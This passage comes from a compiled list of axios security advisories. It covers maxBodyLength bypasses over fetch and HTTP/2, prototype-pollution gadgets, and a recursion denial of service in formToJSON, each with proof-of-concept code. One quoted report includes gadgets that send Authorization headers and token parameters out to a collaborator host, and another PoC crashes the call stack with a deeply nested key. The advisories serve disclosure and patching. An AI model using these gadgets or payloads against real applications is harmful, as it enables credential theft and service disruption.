(utils.isSpecCompliantForm(body)) { const _request = new Request(platform.origin, { method: 'POST', body, }); return (await _request.arrayBuffer()).byteLength; } if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) { return body.byteLength; } if (utils.isURLSearchParams(body)) { body = body + ''; } if (utils.isString(body)) { return (await encodeText(body)).byteLength; } }; const resolveBodyLength = async (headers, body) => { const length = utils.toFiniteNumber(headers.getContentLength()); return length == null ? getBodyLength(body) : length; }; ``` For a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite: fetch.js Lines 214-232 ``` // Enforce maxBodyLength against the outbound request body before dispatch. // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than // maxBodyLength limit'). Skip when the body length cannot be determined // (e.g. a live ReadableStream supplied by the caller). if (hasMaxBodyLength && method !== 'get' && method !== 'head') { const outboundLength = await resolveBodyLength(headers, data); if ( typeof outboundLength === 'number' && isFinite(outboundLength) && outboundLength > maxBodyLength ) { throw new AxiosError( 'Request body larger than maxBodyLength limit', AxiosError.ERR_BAD_REQUEST, config, request ); } } ``` The in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap: fetch.js Lines 253-261 ``` if (_request.body) { const [onProgress, flush] = progressEventDecorator( requestContentLength, progressEventReducer(asyncDecorator(onUploadProgress)) ); data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush); } ``` The body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength. ##### PoC ``` import http from 'node:http'; import axios from '../../index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 * 1024 * 1024; const server = http.createServer((req, res) => { let received = 0; req.on('data', (chunk) => { received += chunk.length; }); req.on('end', () => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ received, limit: LIMIT })); }); req.on('error', () => { /* swallow client-side aborts */ }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const port = server.address().port; function makeReadableStream(totalBytes) { const CHUNK = new Uint8Array(64 * 1024).fill(0x42); let remaining = totalBytes; return new ReadableStream({ pull(controller) { if (remaining <= 0) { controller.close(); return; } const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining); remaining -= next.length; controller.enqueue(next); }, }); } try { let result; try { const response = await axios.post( `http://127.0.0.1:${port}/upload`, makeReadableStream(PAYLOAD_BYTES), { adapter: 'fetch', maxBodyLength: LIMIT, headers: { 'content-type': 'application/octet-stream' }, // No content-length: the stream's total length is unknown ahead of // dispatch, which is exactly the vulnerable code path. } ); result = { status: response.status, data: response.data }; } catch (err) { result = { error: err && (err.code || err.message) }; } console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---'); console.log('axios result:', JSON.stringify(result)); const ok = result && result.status === 200 && result.data && typeof result.data === 'object' && result.data.received === PAYLOAD_BYTES && result.data.limit === LIMIT; if (ok) { console.log( `VULNERABLE: server received ${result.data.received} bytes despite ` + `maxBodyLength=${LIMIT}.` ); process.exitCode = 0; } else { console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.'); process.exitCode = 1; } } finally { server.close(); } ``` ##### Impact - Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints). - Bypass of cost / quota guards on upstream APIs. - Resource exhaustion against the runtime's network stack and against upstream peers. </details> #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L` #### References - [https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9](https://github.com/axios/axios/security/advisories/GHSA-jqh4-m9w3-8hp9) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67317](https://nvd.nist.gov/vuln/detail/CVE-2026-67317) - [https://nvd.nist.gov/vuln/detail/CVE-2026-68947](https://nvd.nist.gov/vuln/detail/CVE-2026-68947) - [https://github.com/axios/axios/pull/11000](https://github.com/axios/axios/pull/11000) - [https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2](https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v1.18.0](https://github.com/axios/axios/releases/tag/v1.18.0) - [https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-readablestream](https://www.vulncheck.com/advisories/axios-before-maxbodylength-bypass-via-readablestream) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jqh4-m9w3-8hp9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Prototype pollution gadgets can alter axios request construction [CVE-2026-67316](https://nvd.nist.gov/vuln/detail/CVE-2026-67316) / [GHSA-mmx7-hfxf-jppx](https://github.com/advisories/GHSA-mmx7-hfxf-jppx) <details> <summary>More information</summary> #### Details ##### Summary axios is vulnerable to read-side prototype-pollution gadgets when `Object.prototype` has already been polluted by another vulnerability or dependency. The most broadly reachable issue is in the bodyless method aliases: `axios.get()`, `axios.delete()`, `axios.head()`, and `axios.options()` read inherited `data` before config normalization, causing attacker-controlled body data to be sent on requests that did not explicitly set a body. Additional low-level paths affect consumers that call exported adapters/helpers directly with plain config objects. In those cases, inherited `proxy` or `paramsSerializer` values can influence request routing or URL serialization. These low-level paths are not reproduced through normal `axios.get()` usage on `1.15.2+`. ##### Impact An attacker who can first pollute `Object.prototype` can cause axios to send attacker-controlled request bodies on bodyless method aliases. This can corrupt request semantics where the receiving service processes bodies on `GET`, `DELETE`, `HEAD`, or `OPTIONS`. For direct low-level Node HTTP adapter usage, inherited `proxy` can route requests through an attacker-controlled proxy. Depending on axios version, target scheme, and proxy behavior, this can expose request URLs, headers, and bodies or allow traffic modification. For direct `resolveConfig` or browser-adapter helper usage, inherited `paramsSerializer` can be invoked with request params, allowing attacker-controlled URL serialization. This was not reproduced through normal high-level axios calls on `1.15.2+`. ##### Affected Functionality Affected normal API: - `axios.get(url[, config])` - `axios.delete(url[, config])` - `axios.head(url[, config])` - `axios.options(url[, config])` Affected low-level usage: - Direct calls to `axios/lib/adapters/http.js` or `axios/unsafe/adapters/http.js` with plain configs and no own `proxy`. - Direct calls to `axios/unsafe/helpers/resolveConfig.js` or direct browser adapter/helper paths with plain configs and no own `paramsSerializer`. Unaffected or corrected scope: - Normal `axios.get()` calls on `1.15.2+` did not reproduce the `proxy` or `paramsSerializer` gadgets because `mergeConfig()` returns a null-prototype config and uses own-property reads. ##### Technical Details `lib/core/Axios.js` constructs aliases for bodyless methods and copies `data` with `(config || {}).data` before config normalization. If `Object.prototype.data` is polluted, this inherited value becomes an own `data` property in the merged request config and is sent by the adapter. `lib/core/mergeConfig.js` in `1.15.2+` returns a null-prototype config and uses `hasOwnProp` guards, which prevents normal high-level requests from inheriting polluted `proxy` and `paramsSerializer` values after merge. This is why those two reporter claims do not reproduce through normal `axios.get()` on `1.15.2` or `1.16.1`. The low-level adapter/helper paths can still receive plain configs directly. In that usage, direct reads of `config.proxy` in the Node HTTP adapter and `config.paramsSerializer` in affected `resolveConfig()` versions can consume inherited polluted values. ##### Proof of Concept of Attack ```js import http from 'http'; import axios from 'axios'; const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk; }); req.on('end', () => { res.writeHead(200, {'content-type': 'application/json'}); res.end(JSON.stringify({body, headers: req.headers})); }); }); await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); Object.prototype.data = 'INJECTED'; try { const res = await axios.get(`http://127.0.0.1:${server.address().port}/data`); console.log(res.data.body); // "INJECTED" console.log(res.data.headers['content-length']); // "8" } finally { delete Object.prototype.data; await new Promise(resolve => server.close(resolve)); } ``` Expected result: a request body is sent even though the caller did not explicitly set `config.data`. ##### Workarounds Avoid processing untrusted input with libraries or code paths that can pollute `Object.prototype`. As a defense-in-depth mitigation before an axios fix is available, explicitly pass `data: undefined` on bodyless method aliases when running in a process where prototype pollution is a concern. <details> <summary>Original Report</summary> ##### Summary Three prototype pollution read-side gadgets in axios bypass the `own()` hasOwnProp guard pattern, allowing a polluted `Object.prototype` to hijack outbound requests. ##### Details The [`own()` helper](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L342) was introduced after GHSA-q8qp-cvcw-x6jj to prevent polluted prototype properties from reaching security-sensitive config reads. Three paths were missed: `config.proxy` at [http.js:715](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L715) goes straight into [`setProxy()`](https://github.com/axios/axios/blob/v1.15.2/lib/adapters/http.js#L197). A polluted `Object.prototype.proxy` reroutes outbound requests through an attacker-controlled proxy, exposing Authorization headers and full request URLs. `(config || {}).data` at [Axios.js:248](https://github.com/axios/axios/blob/v1.15.2/lib/core/Axios.js#L248) covers GET, HEAD, DELETE, OPTIONS. Even without explicit body, polluted value becomes the body. I got injected payloads on 3 of 4 method types in testing. `config.paramsSerializer` at [resolveConfig.js:32](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L32) is three lines below the [`own()` definition that was supposed to protect it](https://github.com/axios/axios/blob/v1.15.2/lib/helpers/resolveConfig.js#L15). A polluted function onto `Object.prototype.paramsSerializer` gets called with the request params on every request that has query strings. I read up on the threat model and I believe T-R4b identifies this exact class and notes that config-read paths must use `hasOwnProp` guards. These three seem to predate or were missed by that coverage. ##### PoC Ran against `axios@1.15.2` on `node:22-slim` in Docker. Clean install, no other deps. ```javascript import axios from 'axios'; // gadget 1 - proxy Object.prototype.proxy = { host: 'yourcollab.oastify.com', port: 8080, protocol: 'http' }; await axios.get('https://api.example.com/user', { headers: { Authorization: 'Bearer sk-test-1234567890' } }); // check collaborator - request arrives with full path + auth header ``` ```javascript // gadget 2 - data on bodyless methods Object.prototype.data = '{"injected":true}'; await axios.get('https://api.example.com/items'); await axios.delete('https://api.example.com/items/1'); await axios.head('https://api.example.com/items'); // 3/4 methods send the polluted body ``` ```javascript // gadget 3 - paramsSerializer Object.prototype.paramsSerializer = (p) => { fetch('https://yourcollab.oastify.com/?' + new URLSearchParams(p)); return 'q=x'; }; await axios.get('https://api.example.com/search', { params: { token: 'secret' } }); ``` ##### Impact Any app with a polluted prototype (common via transitive deps like lodash, qs, minimist) should be affected. Gadget 1 steals credentials and redirects traffic. Gadget 2 corrupts request semantics. Gadget 3 gives the attacker arbitrary control over URL construction and a data exfiltration channel. All three fire silently on normal application code that never touches proxy, data, or `paramsSerializer` directly. </details> #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx](https://github.com/axios/axios/security/advisories/GHSA-mmx7-hfxf-jppx) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67316](https://nvd.nist.gov/vuln/detail/CVE-2026-67316) - [https://nvd.nist.gov/vuln/detail/CVE-2026-68944](https://nvd.nist.gov/vuln/detail/CVE-2026-68944) - [https://github.com/axios/axios/pull/11000](https://github.com/axios/axios/pull/11000) - [https://github.com/axios/axios/pull/11001](https://github.com/axios/axios/pull/11001) - [https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d](https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d) - [https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2](https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v0.33.0](https://github.com/axios/axios/releases/tag/v0.33.0) - [https://github.com/axios/axios/releases/tag/v1.18.0](https://github.com/axios/axios/releases/tag/v1.18.0) - [https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-bodyless-methods](https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-bodyless-methods) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-mmx7-hfxf-jppx) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: HTTP/2 streamed uploads bypass `maxBodyLength` [CVE-2026-67318](https://nvd.nist.gov/vuln/detail/CVE-2026-67318) / [GHSA-mwf2-3pr3-8698](https://github.com/advisories/GHSA-mwf2-3pr3-8698) <details> <summary>More information</summary> #### Details ##### Summary Axios versions with Node.js HTTP/2 support allow streamed request bodies to bypass `maxBodyLength` enforcement when requests are sent with `httpVersion: 2`. This affects applications that rely on `maxBodyLength` as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent. ##### Impact An attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured `maxBodyLength` limit. Practical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control. Browser adapters are not affected. Axios calls using the default unlimited `maxBodyLength: -1` do not cross this specific configured-limit boundary. ##### Affected Functionality Affected calls require all of the following: - Node.js HTTP adapter. - `httpVersion: 2`. - Request `data` supplied as a stream. - A finite `maxBodyLength`. - Attacker-controlled or attacker-influenced stream contents. Unaffected or differently affected paths: - String, Buffer, and ArrayBuffer request bodies are checked before transport selection. - Browser XHR/fetch adapters are not affected. - HTTP/1.1 requests using `follow-redirects` enforce `options.maxBodyLength`. - In `axios >=1.15.1`, setting `maxRedirects: 0` on affected HTTP/2 upload calls activates axios’ existing stream wrapper and rejects oversized streams. ##### Technical Details In `lib/adapters/http.js`, axios selects `http2Transport` whenever `httpVersion` resolves to `2`. The adapter still stores `config.maxBodyLength` on `options.maxBodyLength`, but Node’s HTTP/2 request API does not enforce that option. The stream-level byte-counting wrapper is currently gated on `config.maxBodyLength > -1 && config.maxRedirects === 0`. For HTTP/2 requests using the default redirect setting, axios does not use `follow-redirects` and also does not enter this wrapper, so `uploadStream.pipe(req)` sends the full stream. Local verification against the current `v1.x` checkout showed a request with `maxBodyLength: 1024` successfully transmitting `2097152` bytes over HTTP/2. No fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 `maxRedirects: 0` path. ##### Proof of Concept of Attack ```js import http2 from 'node:http2'; import {Readable} from 'node:stream'; import axios from './index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 * 1024 * 1024; const server = http2.createServer(); server.on('stream', (stream) => { let received = 0; stream.on('data', (chunk) => { received += chunk.length; }); stream.on('end', () => { stream.respond({':status': 200, 'content-type': 'application/json'}); stream.end(JSON.stringify({received, limit: LIMIT})); }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); function makeBody(total) { const chunk = Buffer.alloc(64 * 1024, 0x41); let remaining = total; return new Readable({ read() { if (remaining <= 0) { this.push(null); return; } const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining); remaining -= next.length; this.push(next); } }); } try { const response = await axios.post( `http://127.0.0.1:${server.address().port}/upload`, makeBody(PAYLOAD_BYTES), { httpVersion: 2, maxBodyLength: LIMIT, headers: {'content-type': 'application/octet-stream'} } ); console.log(response.data); // Vulnerable result: { received: 2097152, limit: 1024 } } finally { server.close(); } ``` ##### Workarounds For `axios >=1.15.1`, set `maxRedirects: 0` on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path. For earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid `httpVersion: 2` for untrusted streamed uploads.### Summary On Node.js, axios's maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium. <details> <summary>Original Report</summary> ##### Details In lib/adapters/http.js, transport selection is unconditional for HTTP/2: http.js Lines 937-956 ``` if (isHttp2) { transport = http2Transport; } else { const configTransport = own('transport'); if (configTransport) { transport = configTransport; } else if (config.maxRedirects === 0) { transport = isHttpsRequest ? https : http; isNativeTransport = true; } else { if (config.maxRedirects) { options.maxRedirects = config.maxRedirects; } const configBeforeRedirect = own('beforeRedirect'); if (configBeforeRedirect) { options.beforeRedirects.config = configBeforeRedirect; } transport = isHttpsRequest ? httpsFollow : httpFollow; } } ``` maxBodyLength is then stored on the request options: http.js Lines 958-963 ``` if (config.maxBodyLength > -1) { options.maxBodyLength = config.maxBodyLength; } else { // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited options.maxBodyLength = Infinity; } ``` …but options.maxBodyLength is only honored by the follow-redirects transport. Node's native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0: http.js Lines 1270-1304 ``` // Enforce maxBodyLength for streamed uploads on the native http/https // transport (maxRedirects === 0); follow-redirects enforces it on the // other path. let uploadStream = data; if (config.maxBodyLength > -1 && config.maxRedirects === 0) { const limit = config.maxBodyLength; let bytesSent = 0; uploadStream = stream.pipeline( [ data, new stream.Transform({ transform(chunk, _enc, cb) { bytesSent += chunk.length; if (bytesSent > limit) { return cb( new AxiosError( 'Request body larger than maxBodyLength limit', AxiosError.ERR_BAD_REQUEST, config, req ) ); } cb(null, chunk); }, }), ], utils.noop ); uploadStream.on('error', (err) => { if (!req.destroyed) req.destroy(err); }); } uploadStream.pipe(req); ``` For the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn't fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded. ##### PoC ``` import http2 from 'node:http2'; import { Readable } from 'node:stream'; import axios from '../../index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 * 1024 * 1024; // Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an // `http://...` authority, which mirrors what axios does when the request URL // uses `http://` and `httpVersion: 2`. const server = http2.createServer(); server.on('stream', (stream, _headers) => { let received = 0; stream.on('data', (chunk) => { received += chunk.length; }); stream.on('end', () => { stream.respond({ ':status': 200, 'content-type': 'application/json', }); stream.end(JSON.stringify({ received, limit: LIMIT })); }); stream.on('error', () => { /* swallow client-side aborts */ }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const port = server.address().port; function makeBodyStream(totalBytes) { const CHUNK = Buffer.alloc(64 * 1024, 0x41); let remaining = totalBytes; return new Readable({ read() { if (remaining <= 0) { this.push(null); return; } const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining); remaining -= next.length; this.push(next); }, }); } try { let result; try { const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), { httpVersion: 2, maxBodyLength: LIMIT, // We intentionally do NOT set maxRedirects: 0 — that flag activates the // existing HTTP/1 byte-counting wrapper. The bug under test is that the // HTTP/2 transport path skips that wrapper entirely. headers: { 'content-type': 'application/octet-stream' }, // Omit content-length so the body is streamed without a known length. }); result = { status: response.status, data: response.data }; } catch (err) { result = { error: err && (err.code || err.message) }; } console.log('--- PoC: HTTP/2 maxBodyLength bypass ---'); console.log('axios result:', JSON.stringify(result)); const ok = result && result.status === 200 && result.data && typeof result.data === 'object' && result.data.received === PAYLOAD_BYTES && result.data.limit === LIMIT; if (ok) { console.log( `VULNERABLE: server received ${result.data.received} bytes despite ` + `maxBodyLength=${LIMIT}.` ); process.exitCode = 0; } else { console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.'); process.exitCode = 1; } } finally { server.close(); // http2 sessions cached by axios may keep the event loop alive; force exit // after the assertion so the script returns instead of idling on TCP keep-alive. setImmediate(() => process.exit(process.exitCode || 0)); } ``` ##### Impact - Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads. - Bypass of cost/quota guards configured via maxBodyLength against billed upstream services. - Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget. </details> #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L` #### References - [https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698](https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67318](https://nvd.nist.gov/vuln/detail/CVE-2026-67318) - [https://nvd.nist.gov/vuln/detail/CVE-2026-68948](https://nvd.nist.gov/vuln/detail/CVE-2026-68948) - [https://github.com/axios/axios/pull/11000](https://github.com/axios/axios/pull/11000) - [https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2](https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v1.18.0](https://github.com/axios/axios/releases/tag/v1.18.0) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-mwf2-3pr3-8698) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Deep formToJSON Key Recursion Can Cause Denial of Service [CVE-2026-67312](https://nvd.nist.gov/vuln/detail/CVE-2026-67312) / [GHSA-pmv8-rq9r-6j72](https://github.com/advisories/GHSA-pmv8-rq9r-6j72) <details> <summary>More information</summary> #### Details ##### Summary Axios versions starting with `0.28.0` contain uncontrolled recursion in `formDataToJSON`, which is exposed as `axios.formToJSON()` and used internally when axios serialises `FormData` with `Content-Type: application/json`. If an application passes attacker-controlled `FormData` field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination. ##### Impact Applications are affected only when untrusted users can control `FormData` key names that are converted through axios. Affected paths include direct use of `axios.formToJSON()` on untrusted `FormData` and axios requests in which attacker-controlled `FormData` is sent with `Content-Type: application/json`. The observed failure is `RangeError: Maximum call stack size exceeded`. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour. ##### Affected Functionality Affected functionality: - `axios.formToJSON(formData)` - Named ESM export `formToJSON` - Default `transformRequest` behaviour for `FormData` when `Content-Type` contains `application/json` Unaffected functionality: - Normal multipart `FormData` submission without JSON serialisation - `toFormData`, which already enforces a `maxDepth` guard - Axios versions `<=0.27.2`, where `formDataToJSON` was not present ##### Technical Details The vulnerable code is in `lib/helpers/formDataToJSON.js`. `parsePropPath()` splits a field name such as `a[x][x][x]` into path segments. `buildPath()` then recursively processes one segment per call without enforcing a maximum depth: ```js const result = buildPath(path, value, target[name], index); ``` A key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit. Relevant source locations: - `lib/helpers/formDataToJSON.js` contains the unbounded recursive `buildPath()`. - `lib/axios.js` exposes the helper as `axios.formToJSON`. - `index.js` exposes `formToJSON` as a named export. - `index.d.ts` and `index.d.cts` declare the public API. - `lib/defaults/index.js` calls `formDataToJSON(data)` when JSON-serializing `FormData`. The inverse helper, `toFormData`, already enforces `maxDepth` and throws `AxiosError` with `ERR_FORM_DATA_DEPTH_EXCEEDED`, but `formDataToJSON` does not have an equivalent guard. ##### Proof of Concept of Attack ```js import axios from 'axios'; const fd = new FormData(); fd.append('a' + '[x]'.repeat(15000), 'value'); try { axios.formToJSON(fd); console.log('not vulnerable'); } catch (e) { console.log(`${e.constructor.name}: ${e.message}`); } ``` Expected result on affected versions: RangeError: Maximum call stack size exceeded The same condition can be reached via an axios request transformation when attacker-controlled `FormData` is sent with `Content-Type: application/json`. ##### Workarounds Applications can reject or normalise untrusted form field names before calling `axios.formToJSON()`. Applications can avoid sending untrusted `FormData` through axios as JSON unless JSON conversion is required. Applications should catch errors around `formToJSON()` or axios requests that transform untrusted `FormData`. <details> <summary>Original Source</summary> ##### Summary An uncontrolled recursion vulnerability in `formDataToJSON` allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like `a[x][x][x]...` with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable `RangeError`. The inverse function `toFormData` already enforces a `maxDepth` limit (default 100) for exactly this reason — `formDataToJSON` lacks the equivalent guard. ##### Details **Vulnerable function:** `buildPath` in `lib/helpers/formDataToJSON.js`, lines 50–82. `buildPath(path, value, target, index)` is called recursively — once per segment in the parsed property path — with no depth check: ```javascript // lib/helpers/formDataToJSON.js, lines 50–82 function buildPath(path, value, target, index) { let name = path[index++]; // advance one level if (name === '__proto__') return true; // ... if (!isLast) { // ... const result = buildPath(path, value, target[name], index); // recurse — NO depth guard // ... } } ``` The key is first split into segments by `parsePropPath` (line 17), which extracts every `[segment]` via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames). **`formDataToJSON` is a public API** consumed two ways: 1. **Directly by consumers** — exported as `axios.formToJSON()` (`lib/axios.js:80`), with TypeScript declarations in both `index.d.ts:699` and `index.d.cts:708`, and documented in the API reference in four languages (`docs/pages/advanced/api-reference.md`). 2. **Internally by `transformRequest`** — called at `lib/defaults/index.js:56` when the request body is `FormData` and `Content-Type` contains `application/json`: ```javascript return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data; ``` **Contrast with `toFormData`:** The inverse function (`lib/helpers/toFormData.js:118`) enforces `maxDepth` (default 100) and throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED` when exceeded. `formDataToJSON` has no equivalent protection. ##### PoC Requires only Node.js and an unmodified axios v1.x install: ```javascript import formDataToJSON from 'axios/lib/helpers/formDataToJSON.js'; // Build a FormData with a single key containing 15,000 nested bracket segments const fd = new FormData(); const key = "a" + "[x]".repeat(15000); fd.append(key, "value"); try { formDataToJSON(fd); console.log("Not vulnerable"); } catch (e) { console.log(e.constructor.name + ": " + e.message); // RangeError: Maximum call stack size exceeded } ``` Verified output on Node.js 22.22.3 against axios v1.16.1 (current `v1.x` HEAD): ``` RangeError: Maximum call stack size exceeded ``` The process crashes. In a server context (e.g., Express middleware calling `axios.formToJSON()` on an uploaded form), a single crafted request terminates the process. ##### Impact **Denial of Service (process crash).** Any unauthenticated user who can submit FormData to a Node.js application that passes it through `axios.formToJSON()` — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The `RangeError` from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name. </details> #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72](https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72) - [https://nvd.nist.gov/vuln/detail/CVE-2026-67312](https://nvd.nist.gov/vuln/detail/CVE-2026-67312) - [https://nvd.nist.gov/vuln/detail/CVE-2026-68941](https://nvd.nist.gov/vuln/detail/CVE-2026-68941) - [https://github.com/axios/axios/pull/11000](https://github.com/axios/axios/pull/11000) - [https://github.com/axios/axios/pull/11001](https://github.com/axios/axios/pull/11001) - [https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d](https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d) - [https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2](https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2) - [https://github.com/axios/axios](https://github.com/axios/axios) - [https://github.com/axios/axios/releases/tag/v0.33.0](https://github.com/axios/axios/releases/tag/v0.33.0) - [https://github.com/axios/axios/releases/tag/v1.18.0](https://github.com/axios/axios/releases/tag/v1.18.0) - [https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formtojson](https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formtojson) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-pmv8-rq9r-6j72) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Prototype pollution auth subfields can inject Basic auth [CVE-2026-67314](https://nvd.nist.gov/vuln/detail/CVE-2026-67314) / [GHSA-xj6q-8x83-jv6g](https://github.com/advisories/GHSA-xj6q-8x83-jv6g) <details> <summary>More information</summary> #### Details ##### Summary Axios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header. This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`. ##### Impact An attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object. The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures. This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the 